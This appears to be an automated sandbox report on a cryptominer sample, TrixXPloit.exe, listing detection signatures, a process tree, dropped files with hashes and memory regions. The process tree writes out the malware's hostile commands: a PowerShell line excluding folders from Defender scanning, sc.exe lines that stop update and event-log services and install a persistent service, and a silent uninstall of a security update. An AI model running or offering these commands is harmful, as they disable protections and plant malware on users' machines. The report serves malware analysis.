Analysis

  • max time kernel
    150s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    24/02/2024, 09:47

General

  • Target
    TrixXPloit.exe
  • Size 2.7MB
  • Sample240224-lsla2sha3y
  • SHA256 c880c4b1702d093d6e9bbeb772da0459da2387db9b7b13e95620996e5773db83
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 11 IoCs
  • Creates new service(s) 1 TTPs
  • Drops file in Drivers directory 2 IoCs
  • Stops running service(s) 3 TTPs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 16 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\TrixXPloit.exe
    "C:\Users\Admin\AppData\Local\Temp\TrixXPloit.exe"
    1⤵
    • Drops file in Drivers directory
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2184
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2472
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      2⤵
      • Launches sc.exe
      PID:1656
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2516
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Drops file in Windows directory
        PID:2416
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      2⤵
      • Launches sc.exe
      PID:2648
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "SmartWindows"
      2⤵
      • Launches sc.exe
      PID:788
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1948
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "SmartWindows" binpath= "C:\ProgramData\Common\Recover.exe" start= "auto"
      2⤵
      • Launches sc.exe
      PID:1040
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1712
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2456
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2432
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      2⤵
      • Launches sc.exe
      PID:2376
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "SmartWindows"
      2⤵
      • Launches sc.exe
      PID:1216
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      2⤵
      • Launches sc.exe
      PID:1336
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      2⤵
      • Launches sc.exe
      PID:2436
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      2⤵
      • Launches sc.exe
      PID:2620
  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    1⤵
    • Drops file in System32 directory
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2660
  • C:\ProgramData\Common\Recover.exe
    C:\ProgramData\Common\Recover.exe
    1⤵
    • Drops file in Drivers directory
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2596
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      2⤵
      • Launches sc.exe
      PID:1924
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1296
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Drops file in Windows directory
        PID:2316
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      2⤵
      • Launches sc.exe
      PID:1672
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      2⤵
      • Launches sc.exe
      PID:1648
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      2⤵
      • Launches sc.exe
      PID:756
    • C:\Windows\explorer.exe
      explorer.exe
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2756
    • C:\Windows\system32\conhost.exe
      C:\Windows\system32\conhost.exe
      2⤵
        PID:1760
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3000
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1268
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1308
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1388
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:2204

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          Recover.exe

          • Path C:\ProgramData\Common\Recover.exe
          • Size 1.2MB
          • SHA256 bef9d205fb9a87c5b8cf47c686eebb60698fc4040be59e3cf4b78aa92f34b89b
          • MD5 SHA1 SHA512 SSDEEP

          Recover.exe

          • Path C:\ProgramData\Common\Recover.exe
          • Size 286KB
          • SHA256 9ce1ded2018199a3c5389d7446fb0b9b0a7a7e4fac12d5ad8e82b5a75eb70404
          • MD5 SHA1 SHA512 SSDEEP

          hosts

          • Path C:\Windows\system32\drivers\etc\hosts
          • Size 2KB
          • SHA256 58868a299c5cf1167ed3fbc570a449ecd696406410b24913ddbd0f06a32595bd
          • MD5 SHA1 SHA512

          Recover.exe

          • Path \ProgramData\Common\Recover.exe
          • Size 1.2MB
          • SHA256 a14212b3d5f14301295edc929a6dd1754acde2ee782cadd62ab7f4c768d111ba
          • MD5 SHA1 SHA512 SSDEEP

          Recover.exe

          • Path \ProgramData\Common\Recover.exe
          • Size 1.1MB
          • SHA256 8479e4f1a99fe308da9c08ebed1f540665f6b87317ab1de7b39953e7c7316ce5
          • MD5 SHA1 SHA512 SSDEEP

          memory/1760-30-0x0000000140000000-0x000000014000D000-memory.dmp

          memory/1760-29-0x0000000140000000-0x000000014000D000-memory.dmp

          memory/1760-36-0x0000000140000000-0x000000014000D000-memory.dmp

          memory/1760-33-0x0000000140000000-0x000000014000D000-memory.dmp

          memory/1760-31-0x0000000140000000-0x000000014000D000-memory.dmp

          memory/1760-32-0x0000000140000000-0x000000014000D000-memory.dmp

          memory/2472-6-0x00000000023A0000-0x00000000023A8000-memory.dmp

          memory/2472-4-0x000000001B100000-0x000000001B3E2000-memory.dmp

          memory/2472-7-0x0000000002650000-0x00000000026D0000-memory.dmp

          memory/2472-8-0x0000000002650000-0x00000000026D0000-memory.dmp

          memory/2472-9-0x0000000002650000-0x00000000026D0000-memory.dmp

          memory/2472-10-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

          memory/2472-5-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

          memory/2472-12-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

          memory/2472-11-0x0000000002650000-0x00000000026D0000-memory.dmp

          memory/2660-20-0x0000000000E50000-0x0000000000E58000-memory.dmp

          memory/2660-19-0x000007FEF4DD0000-0x000007FEF576D000-memory.dmp

          memory/2660-25-0x0000000001030000-0x00000000010B0000-memory.dmp

          memory/2660-26-0x000007FEF4DD0000-0x000007FEF576D000-memory.dmp

          memory/2660-18-0x0000000019AA0000-0x0000000019D82000-memory.dmp

          memory/2660-22-0x000007FEF4DD0000-0x000007FEF576D000-memory.dmp

          memory/2660-21-0x0000000001030000-0x00000000010B0000-memory.dmp

          memory/2660-24-0x0000000001030000-0x00000000010B0000-memory.dmp

          memory/2660-23-0x0000000001030000-0x00000000010B0000-memory.dmp

          memory/2756-42-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/2756-47-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/2756-41-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/2756-39-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/2756-38-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/2756-43-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/2756-44-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/2756-45-0x00000000001F0000-0x0000000000210000-memory.dmp

          memory/2756-46-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/2756-40-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/2756-48-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/2756-49-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/2756-50-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/2756-51-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/2756-52-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/2756-53-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/2756-54-0x0000000000CA0000-0x0000000000CC0000-memory.dmp

          memory/2756-55-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/2756-56-0x0000000000CA0000-0x0000000000CC0000-memory.dmp